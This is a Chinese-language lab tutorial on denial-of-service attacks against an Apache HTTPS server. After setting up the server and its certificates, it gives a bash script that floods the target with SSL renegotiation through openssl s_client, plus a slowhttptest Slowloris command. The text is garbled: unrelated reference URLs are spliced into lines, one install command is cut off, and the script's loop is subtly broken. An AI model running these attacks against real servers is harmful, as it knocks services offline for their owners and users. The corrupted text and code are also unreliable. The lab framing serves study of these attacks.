详细解读DDOS攻击应用

1|00x01 环境

包含3台主机

attact 作为攻击方，使用Centos7.2,安装slowhttptest

server 作为被攻击服务器，安装有apached

windows，用于访问//代码效果参考：http://www.zidongmutanji.com/zsjx/396183.html

2|00x02 准备

1|01.登录server,安装apached

yum -y install httpd

systemctl start httpd

1|02.登录server,配置ssl

使用openssl生成密钥

openssl genrsa -out server.key 2048

openssl req -new -key server.key -out server.csr

openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt

cp server.crt /etc/pki/tls/certs/

cp server.key /etc/pki/tls/private/

配置apached server

安装apache ssl模块

yum install mod_ssl openssl

修改配置文件，使用我们刚才生成的的证书

vi /etc/httpd/conf.d/ssl.conf

SSLCertificateFile /etc/pki/tls/certs/server.crt

SSLCertificateKeyFile /etc/pki/tls/private/server.key

修改后，重启apached服务

systemctl restart httpd

1|03.登录attact,安装slowhttptest

yum //代码效果参考：http://www.zidongmutanji.com/bxxx/255398.html

查看帮助

slowhttptest -help

3|00x03 步骤

1|0一、发起SSL慢速攻击

登录attact计算机

shell脚本 ，修改target ip

#!/bin/bash

target=192.168.164.136 # //代码效果参考：http://www.zidongmutanji.com/bxxx/496416.html

port=443

parallel=100

thc-ssl-dosit()

{

while :;

do

(while :; do echo R; done) | openssl s_client -connect $target:$port 2>/dev/null;

done

}

for x in seq 1 $parallel;

do

thc-ssl-dosit

done

给脚本加上权限

chmod 777 ssl.sh

运行脚本，运行后观察CPU使用率。

./ssl.sh

停止脚本

pgrep ssl.sh | xargs kill -s 9

1|0二、Slowloris攻击

注意修改目标IP

slowhttptest -c 1000 -H -g -i 10 -r 200 -t GET -u -x 24 -p 3

参数说明

-c target number of connections

-H